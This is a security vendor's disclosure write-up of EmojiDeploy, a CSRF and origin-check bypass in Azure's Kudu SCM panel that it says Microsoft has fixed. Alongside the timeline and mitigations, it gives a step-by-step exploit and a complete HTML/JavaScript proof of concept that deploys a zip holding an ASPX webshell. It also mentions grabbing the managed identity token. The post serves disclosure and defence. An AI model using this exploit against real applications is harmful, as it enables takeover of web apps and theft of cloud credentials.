EmojiDeploy: Smile! Your Azure web service just got RCE’d ._.

Ermetic’s research team discovered a remote code execution vulnerability affecting services such as Function Apps, App Service and Logic Apps on Azure cloud and other cloud sovereigns.

Liv Matan By Liv Matan
EmojiDeploy: Smile! Your Azure web service just got RCE’d ._.

The EmojiDeploy vulnerability is achieved through CSRF (Cross-site request forgery) on the ubiquitous SCM service Kudu. By abusing the vulnerability, attackers can deploy malicious zip files containing a payload to the victim's Azure application.

Impact

EmojiDeploy allows remote code execution and a full takeover of the targeted application:

  • Running code and commands as the www user
  • Theft or deletion of sensitive data
  • Phishing campaigns
  • Takeover of the app’s managed identity and lateral movement to other Azure services

The vulnerability enables RCE and full takeover of the target app. The impact of the vulnerability on the organization as a whole depends on the permissions of the applications managed identity. Effectively applying the principle of least privilege can significantly limit the blast radius.

Exploit Components

The full attack exploits multiple misconfigurations and bypasses several security controls:

  • Same-site misconfiguration
  • Origin check bypass
  • Exploiting a vulnerable endpoint

Through these techniques, the Ermetic research team achieved remote code execution.

EmojiDeploy Attack Flow

EmojiDeploy attack flow

Who is Vulnerable?

The vulnerability exploits the Kudu SCM service. This service underlies many major Azure services, among them: Azure Functions, Azure App Service, Azure Logic Apps and others. The vulnerability is now fully remediated; prior, anyone using any of these common core services was vulnerable to the EmojiDeploy vulnerability.

  • Azure Functions is a serverless computing platform for building and deploying code in response to events, with automatic scaling and integration with other Azure services. Similar to GCP Functions or AWS Lambda Functions.
  • Azure App Service is a fully managed platform-as-a-service (PaaS) offering that enables developers to build, deploy, and scale web, mobile, and API applications.
  • Azure Logic Apps is a platform as a service (PaaS) offering built on a containerized runtime.

Kudu SCM: The (not so) Little Engine that Could

Kudu is the engine behind Git deployments in Azure Web Apps. It is a web-based Git repository manager that provides source control management (SCM) for deploying and managing applications on Azure. The SCM web panel acts as a management interface for these services.

Defending Against EmojiDeploy

Thanks to MSRC’s rapid response and cooperation, EmojiDeploy is fully remediated. However, there are actionable steps you can take to defend against similar vulnerabilities in the future, and against exploitation of SCM capabilities.

Responsible Disclosure

We want to thank Microsoft for their cooperation and swift response. MSRC conducted a deep investigation while fixing the vulnerability as rapidly as possible.

Microsoft recognized EmojiDeploy as an RCE (Remote Code Execution) vulnerability and awarded a bounty of $30,000 for this finding.

Disclosure Timeline

October 26, 2022 - The Ermetic research team reports the vulnerability to MSRC
November 2, 2022 - MSRC first response, under review
November 3, 2022 - Microsoft bounty program awards a $30,000 bounty
December 6, 2022 - Microsoft releases a global fix
January 19, 2023 - Ermetic’s public disclosure

Vulnerability Deep Dive

Azure Web Services Brief

Azure Web Services 101: What is SCM/Kudu?

We can categorize three major Azure services as Azure Web services: App Service, Function Apps and Logic Apps. These services have something in common - they all deploy the SCM (Source Control Management) panel by default. The SCM panel grants IT teams, DevOps and web administrators access to modify and manage their Azure web applications.

Based on our research, it seems that most Azure Web Services customers are not familiar with the SCM panel or are not even aware of its existence.

The SCM panel uses the Kudu open-source .NET project and has been available to customers since 2014.

Any Contributor/Website Contributor/Owner role in Azure RBAC can access the SCM. Furthermore, it is worth mentioning that the SCM service is enabled by default when creating an Azure Web Service.

Many customers rely on Azure Web Services which, as public-facing services, are also frequent targets for attackers. RCE on these services exposes countless customers to significant risk.

Accessing the SCM Panel

The SCM panel requires AAD (Azure Active Directory) authentication. If the user has authenticated to their Microsoft account through the browser, they can simply navigate to the SCM panel and log in. Otherwise, they need to log in manually with their Microsoft authorized credentials.

Due to these authentication mechanisms, users can not access other users' SCM panels.

Kudu SCM panel

Attack Chain

#1 - SCM💜Same-Site

First, when investigating the SCM panel, the cookies’ attributes configuration stood out immediately. The cookies' Same-Site attribute is set to "None" in all of the cookies, including the session cookies.

The Same-Site attribute is a browser security feature introduced in 2016; its default value is set to "Lax". The purpose of the Same-Site attribute is to protect against cross-origin information leakage/attacks (e.g. CSRF). According to the RFC - the "None" value in the Same-Site attribute provides no protection against cross-origin attacks.

same site attribute

At this point, the researcher’s “spidey sense” started tingling… maybe the SCM panel has more cross site issues that can be exploited?

#2 - Server’s Origin Check Bypass

While researching the SCM panel, I made several HTTP origin checks by trying to replicate requests in BurpSuite/Postman while sending different origins. The default origin that is sent and accepted by the server is:
https://<my-webapp>.scm.azurewebsites.net.

Sending https://test.com raised an Unauthorized 401 response:

Unauthorized 401 response

The origin check is also a site-wide/service-wide check. Using a black box approach, I raised the hypothesis that there is a regex on the server that checks for malformed origins as another layer of defense in order to defend against cross-origin attacks like CORS misconfiguration, CSRF and more.

The next order of business, therefore, was to bypass the origin check. Together with issue #1, this could enable us to construct a full cross-origin attack. First, I tried common basic checks to get a feel for the server’s Origin check. These basic checks failed, and the requests were not accepted by the server (401 Unauthorized):

https://<my-webapp>.scm.azurewebsites.net.attacker.com
https://attacker.<my-webapp>.scm.azurewebsites.net
http://<my-webapp>.scm.azurewebsites.net
[<my-webapp> is a placeholder for the name of my application]

Despite the strict checks, the regex can be broken with special characters!
For example:
https://<my-webapp>.scm.azurewebsites.net$.attacker.com./

The SCM server accepts any request containing any special character instead of the “$” referenced in the example above except for "_" and "-", that are flagged forbidden.

At this point, we have solid grounds to believe that special characters, combined with a domain under our control, can be used to bypass the regex that is being used to defend against cross-origin attacks.

HTTP Origin SCM server response
https://<my-webapp>.scm.azurewebsites.net
<special_character>.attacker.com./

Example:
https://<my-webapp>.scm.azurewebsites.net$.attacker.com./
Accepted  200 OK✅
https://<my-webapp>.scm.azurewebsites.net-.attacker.com./ Unauthorized  401❌
https://<my-webapp>.scm.azurewebsites.net_.attacker.com./ Unauthorized  401❌

Constructing a Full Browser-Based Attack

We managed to bypass the Origin check, but only with a web proxy and not by using a browser. In order to adapt the attack to the browser client, the browser should accept my special characters as a valid origin/URL.

Domain names allow all letters from a to z, numbers and hyphens. How can an attacker send a request with an Origin containing special characters like the tests that were mentioned before?

Surprisingly, earlier browser versions accept special characters as valid URLs and pass the requests sent with the manipulated URL as the value of the Origin header. However, modern browsers only accept "_" and "-". The following table shows the current compatibility of each browser tested:

Special Chars Chrome
(107.0.5304.87)
Edge
(107.0.1418.42)
Firefox
(106.0.5)
Safari
(15.5.6)
- Compatible Compatible Compatible Compatible
_ Compatible Compatible Compatible Compatible
! Not Compatible Not Compatible Not Compatible Not Compatible
= Not Compatible Not Compatible Not Compatible Not Compatible
$ Not Compatible Not Compatible Not Compatible Not Compatible
` Not Compatible Not Compatible Not Compatible Not Compatible
( Not Compatible Not Compatible Not Compatible Not Compatible
) Not Compatible Not Compatible Not Compatible Not Compatible
* Not Compatible Not Compatible Not Compatible Not Compatible
+ Not Compatible Not Compatible Not Compatible Not Compatible
, Not Compatible Not Compatible Not Compatible Not Compatible
; Not Compatible Not Compatible Not Compatible Not Compatible
^ Not Compatible Not Compatible Not Compatible Not Compatible
` Not Compatible Not Compatible Not Compatible Not Compatible
{ Not Compatible Not Compatible Not Compatible Not Compatible
| Not Compatible Not Compatible Not Compatible Not Compatible
} Not Compatible Not Compatible Not Compatible Not Compatible
~ Not Compatible Not Compatible Not Compatible Not Compatible

Modern browsers do accept these 2 special characters mentioned ("_","-") so a cross-origin attack can be applicable on the browsers tested when sending: https://<my-webapp>.scm.azurewebsites.net_.<attacker-site>.com./
But as we said before, “_” and “-” are not accepted by the SCM server’s regex. Could this be a dead end?

Push Harder… Bypassed!

Eventually, more research led to another finding - browsers also accept "_" as a sub-domain👿.
After some testing, I discovered that the SCM server accepts the following Origin as valid: https://<my-webapp>.scm.azurewebsites.net._.<attacker-site>./

The special character in this payload is a “.” followed by “_”.

Funny enough, it looks like an emoji ._. and it turns out that it was missing an “eye” for the exploit to work!

To summarize: This finding allows an attacker to create a wildcard DNS record for his own domain and send cross-origin requests with special characters that eventually will be accepted by the server origin check.

#3: Finding a Vulnerable and Interesting Endpoint

For the attack to be impactful, we need a sensitive endpoint that is vulnerable to Issue #2 and meets the conditions of a CSRF vulnerability according to the Same-Origin-Policy.

A Quick Brief on Same Origin Policy Preflight Requests

When sending a cross-origin request from a browser, the browser evaluates the request as a standard or non-standard request.

Non-standard request → Browser sends a Preflight OPTIONS Request → Request fails (in our scenario)
Standard request → Request passes through → Browser raises a CORS Error

Standard request conditions:

  • HTTP GET/POST method
  • No custom headers are required by the server
  • A valid Mime-Type: text/plain, multipart/form-data, application/x-www-form-urlencoded

While reviewing the Kudu service source code and the REST API documentation, most endpoints were PUT/DELETE, other non-standard HTTP methods, or accepted only non-standard Mime-types. However, a couple of endpoints did meet the requirements:

Denial of service
Request: POST /api/scm/clean
Description: Cleans the repository

routes.MapHttpRouteDual("scm-clean", "scm/clean", new { controller = "LiveScm", action = "Clean" });

Request: POST /api/app/restart
Description: Restarts the application

public const string RestartApiPath = "/api/app/restart";

And the most important one, which we will focus on for the RCE chain:
Remote code execution
Request: POST /api/zipdeploy
Description: Deploy code from a zip file

routes.MapHttpRouteDual("zip-push-deploy", "zipdeploy", new { controller = "PushDeployment", action = "ZipPushDeploy" }, new { verb = new HttpMethodConstraint("POST", "PUT") });
ZIP Deploy

Microsoft has implemented a ZIP “deploy to application” functionality available through the SCM for DevOps and IT usage.

The ZIP package unpacks its content in the default path for the app, for example on windows- D:\home\site\wwwroot. Sounds promising!

ZIP Deploy Endpoint Obstacles

Custom Headers

One of the obstacles in the research was that the request to /api/zipdeploy is originally sent with the following custom headers:
X-Requested-With: XMLHttpRequest
If-Match: *

Usually, this is used as mitigation for CSRF and cross-origin attacks. When an attacker sends a custom header in a cross-origin request, it is no longer flagged as a standard request by the browser and gets blocked due to Same-Origin-Policy.

Unfortunately, the SCM server does not validate or even require the custom headers originally sent by the client. This means an attacker can construct an attack with a request to /api/zipdeploy without those custom headers. The request will be flagged as "standard" by the browser and will be accepted.

Sec-Fetch

Sec-Fetch-* headers are sent by the browser in cross-origin requests. Their purpose is to indicate the relationship between a request initiator’s origin and the origin of the requested resource.

The malicious CSRF request is sent with the following headers by the browser:
Sec-Fetch-Dest: empty
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors

The SCM server can choose to accept or reject the request based on these headers’ values. However, these header values are also not validated and the server accepts them.

Text/Plain is our Friend

The original request to /api/zipdeploy is sent with application/x-www-form-urlencoded;charset UTF-8 Mime-type. Sending a standard CSRF request with the charset omitted returns Forbidden. Furthermore, you can not force charset UTF-8 from the browser.

We are left with multipart/form-data and text/plain, otherwise, the browser will send a preflight request.
After some investigation, the SCM Server in this particular zipdeploy endpoint accepts text/plain Mime-types. We can encode our zip payload and use text/plain for CSRF 🙂

Reproducing the Full Attack on “victim” From ermetic-research.com (ASPX example):

The easiest way to get a POC and a running execution chain is by uploading a webshell to the respected server.

  1. Host a server.
  2. Create a wildcard DNS record for your domain *.ermetic-research.com and point it to the server you created.
  3. Create a malicious ZIP file with an ASPX webshell or any other payload inside.
  4. Create a HTTP POST request to /api/zipdeploy?isAsync=true with the malicious zip file encoded as a body and set the Content-Type header to text/plain (see our example js code below).
  5. The victim navigates to your payload on your hosted domain with the origin regex bypass - https://victim.scm.azurewebsites.net._.ermetic-research.com./
  6. Access the webshell and run code on the victim.
  7. Optional: Get the IMDS token from the meta-data service and access other services.

Prerequisite: SCM Cookies or Microsoft Account Cookies

For the attack to work, the victim should have SCM cookies in his browser. If they do not have SCM cookies, but rather Microsoft account cookies in the browser - the attack is still possible.

Microsoft account cookies attack flow: window.open("https://victim.scm.azurewebsites.net/","_blank") - opens a new tab in the victim’s browser and authenticates automatically. Then send the zip payload with CSRF.

SCM cookies attack flow:
Directly send the zip payload with CSRF.

Example:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
<script>
function authScm(){
        window.open('https://victim.scm.azurewebsites.net/','_blank');
setTimeout(function(){ submitRequest(); }, 4000);
}
</script>
<a href="#" onclick="authScm()">Please authenticate to the scm if you aren't already</a>     
<script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https:\/\/victim.scm.azurewebsites.net\/api\/zipdeploy\/?isAsync=true", true);
        xhr.setRequestHeader("Content-Type", "text\/plain");
        xhr.setRequestHeader("Accept", "*\/*");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");
        xhr.withCredentials = true;
        var body = "PK\x03\x04\x14\x00\x00\x00\x08\x00\x00ZXUR)-\xc8\x8a\x02\x00\x00\x1f\x05\x00\x001\x00\x00\x00asdinjasindjsadisandiasundsiaudiasnudnaisuda.aspx\x8d\x93oo\xd30\x10\xc6\xdfW\xeaw8\x19Mj\x05\xa4\x7f\xc6\x005I\xc5h3\xadRY\xab\xb5h\x887\x93\x9b\xdc\xba@bG\xb6\xb3eB|w\xceNZ\xc6VM\xbc\x8a\xe3{|\xf7\xf3=\xe7\xe0\xe8\x13,\xf9\x16a\xce\xc5\xb6\xa4E\xc8&\xaf\x18LqSnCfT\x89\x0c\xd6\x8a\xc7\xb4\x7f\xc33M\x7fG\xe3v\xcb\x9e\x9a\xe5\x85T\x06.x\x8e\xbap\x82\xd5\x836\x98{\xd3\x94o\x85\xd4&\x8d\xf5\x7f\xa8g\x8bF\xa4c\x95\x16\xe6\x11GL\x1c\xaa\x14\xdc\x84L\xa3\xbaC\xc5Hv\'\xd3\xc4\x01_\xcf%O:r\xf3\x03c\x03\x1aE\x82\xea\rDw(\xcc\xa9\xdaj\xc0n\xbb\xf5\xab\xdd\xfa\xddni\xa3R\xb1\x85\xa8\x8aK\x83\x93\x3c\xe94\x1b\\mk\xcdR\xc9\x18\xb5^\x19\xae\xccL\xdcH(t\n" +      "!\x08\xbc\x87\xa7\xa1N\xd7o\xb7(\xec\x9d\xa5\x19\xda\xbb\x90\x8e\xc5y\xe2a\x85\xac\tQ\xf92\'\x0cmc\xbd\x18\xd8k\xaa\xd4\xc4.1I\x15\x01SB\x91p\x95,JS\x94\x86\x84\xb6\xd1\x8d\xe6\xab\xc6\xd5-fYT\xa1%\xa6\xa0k\xbc\xbf\x07\x85\x82\xf6\x9a\xb5\xe7\xd0:t\xce\x92\xad\x8cB\x9e_\"\xa7f\x806\xb9J\x14I\x0b\xef\xdfr\xfe\xbe\'\x16\xb1\x96y\xf6\xd0ZF\"qWl6\'\x99\xd4\xe86\x14\x9aR\t\xd0\xbek\xa93\x81\xaeM\x88\xd7\x93,\x8d\x7f\x3e\xf5\xa1\xf1\xf6\x99\x1d\x97d\xbe\x14\x1a\xbd+\x95\x1a\xec\xb0\xa0P8f]\xffYd\xe5\x0c\xf7\xceM\x9eE\"\x96\tv\xfe\xfag*\x9b\xd3[ce\xba\xdd\x03gY\xd0\xdb\xa7%\xd8\xa0WO\x96\x9d\xb1\xf3\xf5\x97\xb9\xfbF\xa7S\xfb5\xa9\xc9p\xcc\xefQ\x00\xd7\x85\'\xd0\xc0=n\xb4m\x7f\xd0\xab\x836\xc1N\xbe\x91\xc9\x03\xd8\xc5\x8dT9\xa4Ih\xbdg\x90\xa3\xb9\x95\xf4S\xd0\xd0\x1f\x18\xd9\x80R\x8f,\xedgY\xb9C\xf5\x05\x18\xb5\xfe!\xa39\xff\xfevv1\x8d\xbe\x8d`\xd0\x1f\xf80\x8f\xce\xd6#x\xd7?)*\x1f\x96\x8b\xd5l=[\\\x8c\x80o\xb4\xcc\xa8\x01\x3e\xac\x17\xcb\x11\x0c\xfbE\xf5\xb4\x14\\\xa5\x89\xb9\r\xd9\xf0\xc4\x06\xc7A\xefQ\xdd\x1d\xc6\xe7\xd2\x18)j\n" +           "\xa4\'*\x0eb\x0cw\x18\xef?\xbc\x8c1\xf8x\x00\xc3\x96\x0c\x19\xd6\xe3\xcb`!\xdc\x88\x84\xec\xf1\xc0\xec\xf0j\x9e\x1d\xdd\x9co0sp\xd9&\xb3i\x0e\xc1\x1d\xef\xe0\x8e\x07\xfd\x97{4|\x0e7\x9e\xc8\x3c\xa7\xc70\n" +           "z\xfb\x82\xceb\xeb\xa8[X\x8fk\xd3\xed\xac\xfc\x01PK\x01\x02\x1f\x00\x14\x00\x00\x00\x08\x00\x00ZXUR)-\xc8\x8a\x02\x00\x00\x1f\x05\x00\x001\x00$\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00asdinjasindjsadisandiasundsiaudiasnudnaisuda.aspx\n" + 
          "\x00 \x00\x00\x00\x00\x00\x01\x00\x18\x00\xe4\x87+\xda\x80\xe7\xd8\x01\xe4\x87+\xda\x80\xe7\xd8\x01\x80}\xf8\xc3\xdc\"\xd6\x01PK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\x83\x00\x00\x00\xd9\x02\x00\x00\x00\x00";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
     submitRequest();
    </script>
  </body>
</html>

How MSRC Fixed EmojiDeploy

Microsoft addressed the core issues and released the following fixes:

  • Strengthened the Origin check on the server.
  • Changed the Same-site value of the authentication session cookie to “Lax”.

How to Protect Yourself from Similar Attacks

Microsoft has fixed EmojiDeploy, and your organization is no longer vulnerable to it. However, there are lessons that can be learned to mitigate the effect of similar vulnerabilities and attack vectors.
Takeaways for protecting your organization:

  • Least Privilege: While EmojiDeploy directly compromises the target application, the wider impact for the organization depends on the permissions of the compromised managed identity. Applying the principle of least privilege can make the difference between application takeover and complete organizational takeover.
    Specifically regarding Kudu, customers of Azure should protect themselves from potential vulnerabilities by restricting access to management interfaces such as SCM to only those who absolutely need it.
  • Don’t click links from strangers: This one is easier said than done. Because EmojiDeploy leverages existing browser cookies, the victim often wouldn’t even need to complete a login process. Even one privileged user clicking a malicious link can enable RCE.
  • Understand cloud complexity: Cloud systems are highly complex; understanding the complexity of the system and environment you are working in is crucial to defending it.

Ermetic’s cloud security platform offers holistic protection for AWS, Azure and Google Cloud, and can help your organization keep its cloud environment secure. Ermetic helps you gain visibility and insight into complex multicloud deployments, effectively manage cloud identities to ensure users have only the necessary permissions, and rightsize permissions to ensure a least-privileged environment for human users and managed Identities - so you are safe not only from this vulnerability, but the next one.

The platform detects unrestricted network inbound access to the SCM site (which is open to the public by default) to protect customers from similar attacks, and implement a least privilege approach. For example, here is an organization with a misconfigured App service SCM site:

misconfigured App service SCM site

We are Here to Help

Feel free to contact us at Ermetic’s cyber security lab with any questions or concerns you have about cloud security.
@terminatorLM
@IgalGofman
@NoamDahan
@arieitan